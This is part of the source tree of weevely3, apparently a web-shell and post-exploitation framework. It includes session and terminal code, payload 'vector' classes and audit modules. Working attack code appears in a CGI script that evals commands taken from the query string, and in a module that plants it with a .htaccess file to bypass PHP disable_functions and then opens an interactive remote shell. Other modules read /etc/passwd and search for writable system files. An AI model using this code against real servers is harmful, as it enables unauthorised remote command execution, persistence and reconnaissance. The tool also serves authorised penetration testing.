module_class # Keep the tree in a dict of strings in the form # `{ 'group1' : [ 'mod1', 'mod2' ] }` tree_group = loaded_tree.get(module_group) if not tree_group: loaded_tree[module_group] = [] loaded_tree[module_group].append('%s_%s' % (module_group, module_name)) epinna-weevely3-445bd88/core/sessions.py000066400000000000000000000231311444353330400202440ustar00rootroot00000000000000from core import messages from core.weexceptions import FatalException from mako import template from core.config import sessions_path, sessions_ext from core.loggers import log, dlog, stream_handler from core.module import Status import os import yaml import glob import logging import urllib.parse import atexit import ast import pprint print_filters = ( 'debug', 'channel', 'proxy' ) set_filters = ( 'debug', 'channel', 'proxy' ) class Session(dict): def _session_save_atexit(self): with open(self['path'], 'w') as yamlfile: yaml.dump( dict(self), yamlfile, default_flow_style = False ) def print_to_user(self, module_filter = ''): dlog.info(pprint.pformat(self)) for mod_name, mod_value in self.items(): if isinstance(mod_value, dict): mod_args = mod_value.get('stored_args') # Is a module, print all the storable stored_arguments for argument, arg_value in mod_args.items(): if not module_filter or ("%s.%s" % (mod_name, argument)).startswith(module_filter): log.info(messages.sessions.set_module_s_s_s % (mod_name, argument, arg_value)) else: # If is not a module, just print if matches with print_filters if any(f for f in print_filters if f == mod_name and f.startswith(module_filter)): log.info(messages.sessions.set_s_s % (mod_name, mod_value)) def get_connection_info(self): return template.Template(messages.sessions.connection_info).render( url = self['url'], user = self['system_info']['results'].get('whoami', ''), host = self['system_info']['results'].get('hostname', ''), path = self['file_cd']['results'].get('cwd', '.') ) def load_session(self, data): """ Update the session dictionary, and occasionally run action_ function. """ self.update(data) for module_argument, value in data.items(): # If action_ function exists, trigger the action action_name = 'action_%s' % (module_argument.replace('.', '_')) if hasattr(self, action_name): action_func = getattr(self, action_name) if hasattr(action_func, '__call__'): action_func(module_argument, value) def action_debug(self, module_argument, value): if value: stream_handler.setLevel(logging.DEBUG) else: stream_handler.setLevel(logging.INFO) def action_proxy(self, module_argument, value): """After setting a new proxy, reinitiate channel if already set""" if 'shell_php' in self: self['shell_php']['status'] = Status.IDLE def action_channel(self, module_argument, value): """After setting a new channel, reinitiate it""" if 'shell_php' in self: self['shell_php']['status'] = Status.IDLE def unset(self, module_argument): """Called by user to unset the session variables""" # If action_ function exists, trigger the action # passing None action_name = 'action_%s' % (module_argument.replace('.', '_')) if hasattr(self, action_name): action_func = getattr(self, action_name) if hasattr(action_func, '__call__'): action_func(module_argument, None) if module_argument.count('.') == 1: module_name, arg_name = module_argument.split('.') if arg_name not in self[module_name]['stored_args']: log.warning(messages.sessions.error_session_s_not_modified % ( '%s.%s' % (module_name, arg_name) )) else: del self[module_name]['stored_args'][arg_name] log.info(messages.sessions.unset_module_s_s % (module_name, arg_name)) else: module_name = module_argument if module_name not in self and module_name not in set_filters: log.warning(messages.sessions.error_session_s_not_modified % (module_name)) else: self[module_name] = None log.info(messages.sessions.unset_s % (module_name)) def set(self, module_argument, value): """Called by user to set or show the session variables""" # I safely evaluate the value type to avoid to save only # strings type. Dirty but effective. # TODO: the actual type of the argument could be acquired # from modules[module].argparser. try: value = ast.literal_eval(value) except Exception as e: # If is not evalued, just keep it as string pass # If action_ function exists, trigger the action action_name = 'action_%s' % (module_argument.replace('.', '_')) if hasattr(self, action_name): action_func = getattr(self, action_name) if hasattr(action_func, '__call__'): action_func(module_argument, value) if module_argument.count('.') == 1: module_name, arg_name = module_argument.split('.') # Should be OK to set whethever variable we want # and which will eventually be used by a module. self[module_name]['stored_args'][arg_name] = value log.info(messages.sessions.set_module_s_s_s % (module_name, arg_name, value)) else: module_name = module_argument if module_name not in self and module_name not in set_filters: log.warning(messages.sessions.error_session_s_not_modified % (module_name)) else: self[module_name] = value log.info(messages.sessions.set_s_s % (module_name, value)) class SessionFile(Session): def __init__(self, dbpath, volatile = False): try: with open(dbpath, 'r') as dbfile: sessiondb = yaml.safe_load(dbfile.read()) except Exception as e: log.warning( messages.generic.error_loading_file_s_s % (dbpath, str(e))) raise FatalException(messages.sessions.error_loading_sessions) if sessiondb and isinstance(sessiondb, dict): saved_url = sessiondb.get('url') saved_password = sessiondb.get('password') if saved_url and saved_password: if not volatile: # Register dump at exit and return atexit.register(self._session_save_atexit) self.load_session(sessiondb) return log.warning( messages.generic.error_loading_file_s_s % (dbpath, 'no url or password')) raise FatalException(messages.sessions.error_loading_sessions) class SessionURL(Session): def __init__(self, url, password, volatile = False): if not os.path.isdir(sessions_path): os.makedirs(sessions_path) # Guess a generic hostfolder/dbname hostname = urllib.parse.urlparse(url).hostname if not hostname: raise FatalException(messages.generic.error_url_format) hostfolder = os.path.join(sessions_path, hostname) dbname = os.path.splitext(os.path.basename(urllib.parse.urlsplit(url).path))[0] # Check if session already exists sessions_available = glob.glob( os.path.join( hostfolder, '*%s' % sessions_ext)) for dbpath in sessions_available: try: with open(dbpath, 'r') as dbfile: sessiondb = yaml.safe_load(dbfile.read()) except Exception as e: log.warning( messages.generic.error_loading_file_s_s % (dbpath, str(e))) if sessiondb and isinstance(sessiondb, dict): saved_url = sessiondb.get('url') saved_password = sessiondb.get('password') if not saved_url or not saved_password: log.warning( messages.generic.error_loading_file_s_s % (dbpath, 'no url or password')) if saved_url == url and saved_password == password: # Found correspondent session file. # Register dump at exit and return if not volatile: atexit.register(self._session_save_atexit) self.load_session(sessiondb) return # If no session was found, create a new one with first available filename index = 0 while True: dbpath = os.path.join( hostfolder, '%s_%i%s' % (dbname, index, sessions_ext)) if not os.path.isdir(hostfolder): os.makedirs(hostfolder) if not os.path.exists(dbpath): sessiondb = {} sessiondb.update( { 'path': dbpath, 'url': url, 'password': password, 'debug': False, 'channel': None, 'default_shell': None, } ) # Register dump at exit and return if not volatile: atexit.register(self._session_save_atexit) self.load_session(sessiondb) return else: index += 1 raise FatalException(messages.sessions.error_loading_sessions) epinna-weevely3-445bd88/core/terminal.py000066400000000000000000000266431444353330400202240ustar00rootroot00000000000000from core.weexceptions import FatalException, ChannelException from core.loggers import log, dlog from core import messages from core import modules from core import config from core.module import Status import utils from mako import template try: import gnureadline as readline except ImportError: import readline import cmd import glob import os import shlex import atexit import sys class CmdModules(cmd.Cmd): identchars = cmd.Cmd.identchars + ':' doc_header = "Modules and commands (type :help ):" nohelp = "[!] No help on %s" def complete(self, text, state): """Return the next possible completion for 'text'. If a command has not been entered, then complete against command list. Otherwise try to call complete_ to get list of completions. """ if state == 0: origline = readline.get_line_buffer() # Offer completion just for commands that starts # with the trigger : if origline and not origline.startswith(':'): return None line = origline.lstrip().lstrip(':') stripped = len(origline) - len(line) begidx = readline.get_begidx() - stripped endidx = readline.get_endidx() - stripped if begidx>0: cmd, args, foo = self.parseline(line) if cmd == '': compfunc = self.completedefault else: try: compfunc = getattr(self, 'complete_' + cmd) except AttributeError: compfunc = self.completedefault else: compfunc = self.completenames self.completion_matches = compfunc(text, line, begidx, endidx) try: if self.completion_matches[state].startswith('alias_'): if self.session.get('default_shell') == 'shell_php': return self.completion_matches[state][6:] else: return '' else: return self.completion_matches[state] except IndexError: return None def onecmd(self, line): """Interpret the argument as though it had been typed in response to the prompt. This may be overridden, but should not normally need to be; see the precmd() and postcmd() methods for useful execution hooks. The return value is a flag indicating whether interpretation of commands by the interpreter should stop. """ cmd, arg, line = self.parseline(line) if not line: return self.emptyline() if cmd in (None, ''): return self.default(line) self.lastcmd = line if line == 'EOF' : #self.lastcmd = '' raise EOFError() if cmd: # Try running module command try: func = getattr(self, 'do_' + cmd.lstrip(':')) except AttributeError: # If there is no module command, check if we have a PHP shelli # And in case try running alias command if self.session.get('default_shell') == 'shell_php' or cmd.lstrip(':') == 'cd': try: func = getattr(self, 'do_alias_' + cmd.lstrip(':')) except AttributeError: pass else: return func(arg, cmd) else: return func(arg, cmd) return self.default(line) def _print_modules(self): data = [] for module_group, names in modules.loaded_tree.items(): for module_name in names: data.append([ ':%s' % module_name, modules.loaded[module_name].info.get('description', '') ]) if data: log.info(utils.prettify.tablify(data, table_border = False)) def _print_command_replacements(self): data = [] for module_name, module in modules.loaded.items(): if module.aliases: data.append([ ', '.join(module.aliases), module_name ]) if data: log.info(utils.prettify.tablify(data, table_border = False)) def do_help(self, arg, command): """Fixed help.""" print() self._print_modules() if self.session['shell_sh']['status'] == Status.RUN: print(); return log.info(messages.terminal.help_no_shell) self._print_command_replacements() print() class Terminal(CmdModules): """Weevely Terminal""" def __init__(self, session): cmd.Cmd.__init__(self) self.session = session self.prompt = 'weevely> ' # Load all available modules self._load_modules() # Load history file self._load_history() # Set a nice intro self.intro = template.Template( messages.terminal.welcome_to_s ).render( path = self.session.get('path'), conn_info = session.get_connection_info(), version = messages.version, default_shell = self.session.get('default_shell') ) def emptyline(self): """Disable repetition of last command.""" pass def precmd(self, line): """Before to execute a line commands. Confirm shell availability and get basic system infos """ dlog.info('>>>> %s' % line) # Skip slack check is not a remote command if not line or any( line.startswith(cmnd) for cmnd in ( ':set', ':unset', ':show', ':help' ) ): return line # Trigger the shell_sh/shell_php probe if # 1. We never tried to raise shells (shell_sh = IDLE) # 2. The basic intepreter shell_php is not running. if ( self.session['shell_sh']['status'] == Status.IDLE or self.session['shell_php']['status'] != Status.RUN ): # We're implying that no shell is set, so reset default shell self.session['default_shell'] = None # Force shell_php to idle to avoid to be skipped by shell_sh self.session['shell_php']['status'] = Status.IDLE # Catch every exception which prevent the shell setup. # We imply that at every channel change (proxy, channel name) # this piece of code will be executed. try: self.session['shell_sh']['status'] = modules.loaded['shell_sh'].setup() except ChannelException as e: log.error(str(e)) return '' # Set default_shell in any case (could have been changed runtime) for shell in ('shell_sh', 'shell_php'): if self.session[shell]['status'] == Status.RUN: self.session['default_shell'] = shell break # Kill the execution if no shell were loaded if not self.session.get('default_shell'): log.error(messages.terminal.backdoor_unavailable) return '' # TODO: do not print this every loop # Print an introductory string with php shell #if self.session.get('default_shell') == 'shell_php': # log.info(messages.terminal.welcome_no_shell) # self._print_command_replacements() # log.info('\nweevely> %s' % line) # Get hostname and whoami if not set if not self.session['system_info']['results'].get('hostname'): modules.loaded['system_info'].run_argv([ "-info", "hostname"]) if not self.session['system_info']['results'].get('whoami'): modules.loaded['system_info'].run_argv(["-info", "whoami"]) # Get current working directory if not set # Should be OK to repeat this every time if not set. if not self.session['file_cd']['results'].get('cwd'): self.do_file_cd(".") return line def postcmd(self, stop, line): default_shell = self.session.get('default_shell') if not default_shell: self.prompt = 'weevely> ' else: if default_shell == 'shell_sh': prompt = '$' elif default_shell == 'shell_php': prompt = 'PHP>' else: prompt = '?' # Build next prompt, last command could have changed the cwd self.prompt = '%s %s ' % (self.session.get_connection_info(), prompt) def default(self, line): """Default command line send.""" if not line: return default_shell = self.session.get('default_shell') if not default_shell: return result = modules.loaded[default_shell].run_argv([line]) if not result: return # Clean trailing newline if existent to prettify output result = result[:-1] if ( isinstance(result, str) and result.endswith('\n') ) else result log.info(result) def do_show(self, line, cmd): """Command "show" which prints session variables""" self.session.print_to_user(line) def do_set(self, line, cmd): """Command "set" to set session variables.""" try: args = shlex.split(line) except Exception as e: import traceback; log.debug(traceback.format_exc()) log.warning(messages.generic.error_parsing_command_s % str(e)) # Set the setting else: if len(args) < 2: log.warning(messages.terminal.set_usage) elif len(args) >= 2: args[1] = ' '.join(args[1:]) self.session.set(args[0], args[1]) def do_unset(self, line, cmd): """Command "unset" to unset session variables.""" # Print all settings that startswith args[0] if not line: log.warning(messages.terminal.unset_usage) # Set the setting else: self.session.unset(line) def _load_modules(self): """Load all modules assigning corresponding do_* functions.""" for module_name, module_class in modules.loaded.items(): # Set module.do_terminal_module() function as terminal # self.do_modulegroup_modulename() setattr( Terminal, 'do_%s' % (module_name), module_class.run_cmdline) # Set module.do_alias() function as terminal # self.do_alias() for every defined `Module.aliases`. for alias in module_class.aliases: setattr( Terminal, 'do_alias_%s' % (alias), module_class.run_alias) setattr( Terminal, 'help_%s' % (alias), module_class.help) # Set module.help() function as terminal # self.help_modulegroup_modulename() setattr( Terminal, 'help_%s' % (module_name), module_class.help) def _load_history(self): """Load history file and register dump on exit.""" # Create a file without truncating it in case it exists. open(config.history_path, 'a').close() readline.set_history_length(100) try: readline.read_history_file(config.history_path) except IOError: pass atexit.register(readline.write_history_file, config.history_path) epinna-weevely3-445bd88/core/vectorlist.py000066400000000000000000000144741444353330400206060ustar00rootroot00000000000000""" The module `core.vectorlist` defines a `VectorList` object, normally used to store the module vectors. Module class executes `_register_vectors()` at init to initialize the `VectorList` object as `self.vectors` module attribute. The methods exposed by VectorList can be used to get the result of a given vector execution with `get_result()`, get all the results of a bunch of vectors with `get_results()`, or get the result of the first vector that response in the way we want with `find_first_result()`. """ from core.vectors import Os from mako.template import Template from core.weexceptions import DevException from core.loggers import log, dlog from core import modules import utils from core import messages class VectorList(list): def __init__(self, session, module_name): self.session = session self.module_name = module_name list.__init__(self) def find_first_result(self, names = [], format_args = {}, condition = None, store_result = False, store_name = ''): """ Execute all the vectors and return the first result matching the given condition. Return the name and the result of the first vector execution response that satisfy the given condition. With unspecified names, execute all the vectors. Optionally store results. Exceptions triggered checking condition function are catched and logged. Args: names (list of str): The list of names of vectors to execute. format_args (dict): The arguments dictionary used to format the vectors with. condition (function): The function or lambda to check certain conditions on result. Must returns boolean. store_result (bool): Store as result. store_name (str): Store the found vector name in the specified argument. Returns: Tuple. Contains the vector name and execution result in the `( vector_name, result )` form. """ if not callable(condition): raise DevException(messages.vectors.wrong_condition_type) if not isinstance(store_name, str): raise DevException(messages.vectors.wrong_store_name_type) for vector in self: # Skip with wrong vectors if not self._os_match(vector.target): continue # Clean names filter from empty objects names = [ n for n in names if n ] # Skip if names filter is passed but current vector is missing if names and not any(n in vector.name for n in names): continue # Add current vector name format_args['current_vector'] = vector.name # Run result = vector.run(format_args) # See if condition is verified try: condition_result = condition(result) except Exception as e: import traceback; log.info(traceback.format_exc()) log.debug(messages.vectorlist.vector_s_triggers_an_exc % vector.name) condition_result = False # Eventually store result or vector name if condition_result: if store_result: self.session[self.module_name]['results'][vector.name] = result if store_name: self.session[self.module_name]['stored_args'][store_name] = vector.name return vector.name, result return None, None def get_result(self, name, format_args = {}, store_result = False): """Execute one vector and return the result. Run the vector with specified name. Optionally store results. Args: name (str): The name of vector to execute. format_args (dict): The arguments dictionary used to format the vectors with. store_result (bool): Store result in session. Returns: Object. Contains the vector execution result. """ vector = self.get_by_name(name) if vector and self._os_match(vector.target): # Add current vector name format_args['current_vector'] = vector.name result = vector.run(format_args) if store_result: self.session[self.module_name]['results'][name] = result return result def get_results(self, names = [], format_args = {}, results_to_store = [ ]): """Execute all the vectors and return the results. With unspecified names, execute all the vectors. Optionally store results. Returns a dictionary with results. Args: names (list of str): The list of names of vectors to execute. format_args (dict): The arguments dictionary used to format the vectors with. results_to_store (list of str): The list of names of the vectors which store the execution result. Returns: Dictionary. Contains all the vector results in the `{ vector_name : result }` form. """ response = {} for vector in self: if not self._os_match(vector.target): continue if names and not any(x in vector.name for x in names): continue # Add current vector name format_args['current_vector'] = vector.name response[vector.name] = vector.run(format_args) if not any(x in vector.name for x in results_to_store): continue self.session[self.module_name]['results'][vector.name] = response[vector.name] return response def _os_match(self, os): """Check if vector os is compatible with the remote os.""" os_string = self.session['system_info']['results'].get('os') # If os_string is not set, just return True and continue if not os_string: return True os_current = Os.WIN if os_string.lower().startswith('win') else Os.NIX return os in (os_current, Os.ANY) def get_by_name(self, name): """Get the vector object by name. Args: name (str): the name of the requested vector. Returns: Vector object. """ return next((v for v in self if v.name == name), None) def get_names(self): """Get the vectors names. Returns: List of strings. Contain vectors names. """ return [ v.name for v in self ] epinna-weevely3-445bd88/core/vectors.py000066400000000000000000000253151444353330400200710ustar00rootroot00000000000000""" The module `core.vectors` defines the following vectors classes. * `ModuleExec` vector executes a given module with given arguments. * `PhpCode` vector contains PHP code, executed via `shell_php` module. * `PhpFile` vector loads PHP code from an external file, and execute it via `shell_php` module. * `ShellCmd` vector contains a shell command, executed via `shell_sh` module. """ from mako.template import Template from mako.lookup import TemplateLookup from core.weexceptions import DevException from core.loggers import log from core import modules import utils from core import messages from enum import IntEnum import re import os import base64 import _thread class Os(IntEnum): """Represent the operating system vector compatibility. It is passed as vectors `target` argument. * `Os.ANY` if the vector is compatible with every operating system * `Os.NIX` if the vector is compatible only with Unix/Linux enviroinments * `Os.WIN` if the vector is compatible only with Microsoft Windows enviroinments """ ANY: int = 0 NIX: int = 1 WIN: int = 2 @classmethod def has(cls, value): return value in cls._value2member_map_ class ModuleExec: """This vector contains commands to execute other modules. Args: module (str): Module name. arguments (list of str): arguments passed as command line splitted string, e.g. `[ '--optional=o', 'mandatory1, .. ]`. name (str): This vector name. target (.Os): The operating system supported by the vector. postprocess (func): The function which postprocess the execution result. background (bool): Execute in a separate thread on `run()` """ def __init__(self, module, arguments, name='', target=Os.ANY, postprocess=None, background=False, catch_errors=True): self.name = name if name else utils.strings.randstr() if isinstance(arguments, list): self.arguments = arguments else: raise DevException(messages.vectors.wrong_payload_type) if not Os.has(target): raise DevException(messages.vectors.wrong_target_type) if not callable(postprocess) and postprocess is not None: raise DevException(messages.vectors.wrong_postprocessing_type) self.module = module self.target = target self.postprocess = postprocess self.background = background self.catch_errors = catch_errors def format(self, values): """Format the arguments. This format the vector payloads using Mako template. Args: values (dict): The values passed as arguments of Mako `template.Template(arg[n]).render(**values)` Returns: A list of string containing the formatted payloads. """ return [ Template(arg).render(**values) for arg in self.arguments ] def run(self, format_args = {}): """Run the module with the formatted payload. Render the contained payload with mako and pass the result as argument to the given module. The result is processed by the `self.postprocess` method. Args: format_arg (dict): The dictionary to format the payload with. Return: Object. Contains the postprocessed result of the `run_argv` module execution. """ try: formatted = self.format(format_args) except TypeError as e: import traceback log.debug(traceback.format_exc()) raise DevException(messages.vectors.wrong_arguments_type) # The background argument is set at vector init in order # to threadify vectors also if called by VectorList methods. if self.background: _thread.start_new_thread(modules.loaded[self.module].run_argv, (formatted, self.catch_errors,)) result = None else: result = modules.loaded[self.module].run_argv(formatted, self.catch_errors) if self.postprocess: result = self.postprocess(result) return result def load_result_or_run(self, result_name, format_args = {}): """Load a result stored in module session or run the module. Return the variable stored or run the `self.run` method. Args: field (string): The variable name. format_arg (dict): The dictionary to format the payload with. Return: Object. Contains the postprocessed result of the `run_argv` module execution. """ result = modules.loaded[self.module].session[self.module]['results'].get(result_name) if result: return result else: return self.run(format_args) class PhpCode(ModuleExec): """This vector contains PHP code. The PHP code is executed via the module `shell_php`. Inherit `ModuleExec`. Args: payload (str): PHP code to execute. name (str): This vector name. target (Os): The operating system supported by the vector. postprocess (func): The function which postprocess the execution result. arguments (list of str): Additional arguments for `shell_php` background (bool): Execute in a separate thread on `run()` """ def __init__(self, payload, name=None, target=0, postprocess=None, arguments=[], background=False, catch_errors=True): if not isinstance(payload, str): raise DevException(messages.vectors.wrong_payload_type) ModuleExec.__init__( self, module='shell_php', arguments=[payload] + arguments, name=name, target=target, postprocess=postprocess, background=background, catch_errors=catch_errors, ) def format(self, values): """Format the payload. This format the vector payloads using Mako template. Args: values (dict): The values passed as arguments of Mako `template.Template(arg[n]).render(**values)` Returns: A list of string containing the formatted payloads. """ return [ Template(arg).render(**values) for arg in self.arguments ] class PhpFile(PhpCode): """This vector contains PHP code imported from a template. The PHP code in the given template is executed via the module `shell_php`. Inherit `PhpCode`. Args: payload_path (str): Path of the template to execute, usually placed in self.folder. name (str): This vector name. target (Os): The operating system supported by the vector. postprocess (func): The function which postprocess the execution result. arguments (list of str): Additional arguments for `shell_php` background (bool): Execute in a separate thread on `run()` """ def __init__(self, payload_path, name=None, target=0, postprocess=None, arguments=[], background=False, catch_errors=True): if not isinstance(payload_path, str): raise DevException(messages.vectors.wrong_payload_type) try: with open(payload_path, 'r') as templatefile: payload = templatefile.read() except Exception as e: raise DevException(messages.generic.error_loading_file_s_s % (payload_path, e)) self.folder, self.name = os.path.split(payload_path) ModuleExec.__init__( self, module='shell_php', arguments=[payload] + arguments, name=name, target=target, postprocess=postprocess, background=background, catch_errors=catch_errors, ) def format(self, values): """Format the payload. This format the vector payloads using Mako template. Also set a TemplateLookup to the template folder, to allow an easy `<% include>` tag usage. Args: values (dict): The values passed as arguments of Mako `template.Template(arg[n]).render(**values)` Returns: A list of string containing the formatted payloads. """ return [ Template( text=arg, lookup=TemplateLookup(directories=[self.folder]), ).render(**values) for arg in self.arguments ] class ShellCmd(PhpCode): """This vector contains a shell command. The shell command is executed via the module `shell_sh`. Inherit `ModuleExec`. Args: payload (str): Command line to execute. name (str): This vector name. target (Os): The operating system supported by the vector. postprocess (func): The function which postprocess the execution result. arguments (list of str): Additional arguments for `shell_php` background (bool): Execute in a separate thread on `run()` """ def __init__(self, payload, name=None, target=0, postprocess=None, arguments=[], background=False, catch_errors=True): if not isinstance(payload, str): raise DevException(messages.vectors.wrong_payload_type) ModuleExec.__init__( self, module='shell_sh', arguments=[payload] + arguments, name=name, target=target, postprocess=postprocess, background=background, catch_errors=catch_errors, ) class PythonCode(ShellCmd): """This vector contains python code. The code is executed via the module `shell_sh`. Inherit `ModuleExec`. Args: payload (str): Script to execute. name (str): This vector name. target (Os): The operating system supported by the vector. postprocess (func): The function which postprocess the execution result. arguments (list of str): Additional arguments for `shell_sh` background (bool): Execute in a separate thread on `run()` """ def __init__(self, payload, name, **kwargs): if not isinstance(payload, str): raise DevException(messages.vectors.wrong_payload_type) ModuleExec.__init__( self, module='shell_sh', arguments=[payload], name=name, **kwargs ) def format(self, values): payload = Template(self.arguments[0]).render(**values) lines = [line for line in payload.split('\n') if line.strip()] if len(lines) == 0: return [] # Remove excess indentations spaces = len(re.search(r'^( *)', lines[0]).group(1)) if spaces: lines = [line[spaces:] for line in lines] payload = '\n'.join(lines) b64 = base64.b64encode(payload.encode('utf-8')).decode('utf-8') return ['echo', b64, '|base64 -d|python - 2>&1'] epinna-weevely3-445bd88/core/weexceptions.py000066400000000000000000000007121444353330400211130ustar00rootroot00000000000000""" Fatal errors """ class FatalException(Exception): pass """ Fatal errors on module development """ class DevException(Exception): pass """ Argument parsing tried to Exit """ class ArgparseError(Exception): pass """ Error on channel internals """ class ChannelException(Exception): # This should be intercepted not at send() # but at some level before (e.g. when) calling # setup to interrupt directly the cmd execution pass epinna-weevely3-445bd88/modules/000077500000000000000000000000001444353330400165445ustar00rootroot00000000000000epinna-weevely3-445bd88/modules/__init__.py000066400000000000000000000000001444353330400206430ustar00rootroot00000000000000epinna-weevely3-445bd88/modules/audit/000077500000000000000000000000001444353330400176525ustar00rootroot00000000000000epinna-weevely3-445bd88/modules/audit/__init__.py000066400000000000000000000000001444353330400217510ustar00rootroot00000000000000epinna-weevely3-445bd88/modules/audit/_disablefunctionbypass/000077500000000000000000000000001444353330400244045ustar00rootroot00000000000000epinna-weevely3-445bd88/modules/audit/_disablefunctionbypass/cgi.sh000066400000000000000000000002121444353330400254750ustar00rootroot00000000000000#!/bin/bash echo -ne "Content-Type: text/html\n\n" b=$(echo "$QUERY_STRING" | sed -n 's/^.*c=\([^&]*\).*$/\1/p' | sed "s/%20/ /g") eval $bepinna-weevely3-445bd88/modules/audit/disablefunctionbypass.py000077500000000000000000000145011444353330400246230ustar00rootroot00000000000000from core.vectors import PhpCode, ShellCmd, ModuleExec, Os from core.module import Module, Status from core.loggers import log from core import modules from core import messages from utils import strings from utils import http import string import os class Disablefunctionbypass(Module): """Bypass disable_function restrictions with mod_cgi and .htaccess.""" def init(self): self.register_info( { 'author': [ 'Emilio Pinna', # mod_cgi + .htaccess bypassing technique by ASDIZZLE # https://blog.asdizzle.com/index.php/2016/05/02/getting-shell-access-with-php-system-functions-disabled/ 'ASDIZZLE' ], 'license': 'GPLv3' } ) self.register_arguments([ { 'name' : 'rpath', 'help' : 'Remote path. If it is a folder find the first writable folder in it', 'default' : '.', 'nargs' : '?' }, { 'name' : '-script', 'help' : 'CGI script to upload', 'default' : os.path.join(self.folder, 'cgi.sh') }, { 'name' : '-just-run', 'help' : 'Skip install and run shell through URL' }, ]) self.register_vectors( [ PhpCode( """(is_callable('apache_get_modules')&&in_array('mod_cgi', apache_get_modules())&&print(1))||print(0);""", postprocess = lambda x: True if x == '1' else False, name = 'mod_cgi' ), ModuleExec( 'file_upload2web', [ '/bogus/.htaccess', '-content', 'Options +ExecCGI\nAddHandler cgi-script .${extension}' ], name = 'install_htaccess' ), ModuleExec( 'file_upload', [ '${script}', '${rpath}' ], name = 'install_script' ), PhpCode( """(is_callable('chmod')&&chmod('${rpath}', 0777)&&print(1))||print(0);""", postprocess = lambda x: True if x == '1' else False, name = 'chmod' ), ModuleExec( 'file_rm', [ '${path}' ], name = 'remove' ), ]) def _clean(self, htaccess_absolute_path, script_absolute_path): log.warning('Deleting %s and %s' % (htaccess_absolute_path, script_absolute_path)) self.vectors.get_result('remove', format_args = { 'path': htaccess_absolute_path }) self.vectors.get_result('remove', format_args = { 'path': script_absolute_path }) def _install(self): if not self.vectors.get_result('mod_cgi'): log.warning(messages.module_audit_disablefunctionbypass.error_mod_cgi_disabled) return filename = strings.randstr(5, charset = string.ascii_lowercase).decode('utf-8') ext = strings.randstr(3, charset = string.ascii_lowercase).decode('utf-8') result_install_htaccess = self.vectors.get_result( 'install_htaccess', format_args = { 'extension': ext } ) if ( not result_install_htaccess or not result_install_htaccess[0][0] or not result_install_htaccess[0][1] ): log.warning(messages.module_audit_disablefunctionbypass.error_installing_htaccess) return htaccess_absolute_path = result_install_htaccess[0][0] script_absolute_path = '%s.%s' % (htaccess_absolute_path.replace('.htaccess', filename), ext) script_url = '%s.%s' % ( result_install_htaccess[0][1].replace('.htaccess', filename), ext ) result_install_script = self.vectors.get_result( 'install_script', format_args = { 'script' : self.args.get('script'), 'rpath': script_absolute_path } ) if not result_install_script: log.warning(messages.module_audit_disablefunctionbypass.error_uploading_script_to_s % script_absolute_path) self._clean(htaccess_absolute_path, script_absolute_path) return result_chmod = self.vectors.get_result( 'chmod', format_args = { 'rpath': script_absolute_path } ) if not result_chmod: log.warning(messages.module_audit_disablefunctionbypass.error_changing_s_mode % script_absolute_path) self._clean(htaccess_absolute_path, script_absolute_path) return if not self._check_response(script_url): log.warning(messages.module_audit_disablefunctionbypass.error_s_unexpected_output % (script_url)) self._clean(htaccess_absolute_path, script_absolute_path) return log.warning(messages.module_audit_disablefunctionbypass.cgi_installed_remove_s_s % (htaccess_absolute_path, script_absolute_path)) log.warning(messages.module_audit_disablefunctionbypass.run_s_skip_reinstalling % (script_url)) return script_url def _check_response(self, script_url): script_query = '%s?c=' % (script_url) query_random_str = strings.randstr(5).decode('utf-8') command_query = '%secho%%20%s' % (script_query, query_random_str) result_request = http.request(command_query).decode('utf-8') return query_random_str in result_request def run(self, **kwargs): # Terminate if shell_sh is active if self.session['shell_sh']['status'] == Status.RUN: log.warning(messages.module_audit_disablefunctionbypass.error_sh_commands_enabled) return # Install if -just-run option hasn't been provided, else directly check the backdoor script_url = self.args.get('just_run') if not script_url: script_url = self._install() if not script_url: return elif not self._check_response(script_url): log.warning(messages.module_audit_disablefunctionbypass.error_s_unexpected_output % (script_url)) return log.warning(messages.module_audit_disablefunctionbypass.requests_not_obfuscated) # Console loop while True: query = input('CGI shell replacement $ ').strip().replace(' ', '%20') if not query: continue if query == 'quit': break log.info(http.request('%s?c=%s' % (script_url, query)).decode()) epinna-weevely3-445bd88/modules/audit/etcpasswd.py000066400000000000000000000033571444353330400222310ustar00rootroot00000000000000from core.vectors import PhpCode, ShellCmd, ModuleExec, Os from core.module import Module from core import modules class Etcpasswd(Module): """Read /etc/passwd with different techniques.""" def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_arguments([ { 'name' : '-real', 'help' : 'Filter only real users', 'action' : 'store_true', 'default' : False }, { 'name' : '-vector', 'choices' : ( 'posix_getpwuid', 'file', 'fread', 'file_get_contents', 'base64' ) } ]) def run(self, **kwargs): pwdresult = '' vector = self.args.get('vector') if vector in (None, 'posix_getpwuid'): pwdresult = PhpCode("""if(is_callable('posix_getpwuid')) { for($n=0; $n<2000;$n++) { $uid = @posix_getpwuid($n); if ($uid) echo join(':',$uid).PHP_EOL; } }""").run(self.args) if not pwdresult: arg_vector = [ '-vector', vector ] if vector else [] pwdresult = ModuleExec('file_read', [ '/etc/passwd' ] + arg_vector).run() if not pwdresult: return result = '' for line in pwdresult.split('\n'): fields = line.split(':') if len(fields) > 6: uid = int(fields[2]) shell = fields[6] if ( self.args.get('real') and ( (uid == 0 or uid > 999) and 'false' not in shell ) or not self.args.get('real') ): result += line + '\n' return result.rstrip('\n') epinna-weevely3-445bd88/modules/audit/filesystem.py000066400000000000000000000112761444353330400224170ustar00rootroot00000000000000from core.vectors import PhpCode, ShellCmd, ModuleExec, Os from core.module import Module from core.loggers import log from core import modules import utils class Filesystem(Module): """Audit the file system for weak permissions.""" def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.check_functions = [ f for f in dir(self) if f.startswith('check_') ] self.register_arguments([ { 'name' : 'check', 'choices' : self.check_functions, 'nargs' : '?' } ]) def check_writable_binaries(self): """Search writable files in binary folders""" results = [] for path in [ '/bin/', '/usr/bin/', '/usr/sbin', '/sbin', '/usr/local/bin', '/usr/local/sbin', '/lib/', '/usr/lib/', '/usr/local/lib' ]: result = ModuleExec("file_find", [ '-writable', path ]).run() if result and any(r for r in result if r): results += result return results def check_writable_etc(self): """Search writable files in etc folder""" result = ModuleExec("file_find", [ '-writable', '/etc/' ] ).run() if result and any(r for r in result if r): return result def check_writable_root(self): """Search writable files in / folder""" result = ModuleExec("file_find", [ '-no-recursion', '-writable', '/' ] ).run() if result and any(r for r in result if r): return result def check_home_writable(self): """Search writable files in /home/ folder""" result = ModuleExec("file_find", [ '-no-recursion', '-writable', '/home/' ] ).run() if result and any(r for r in 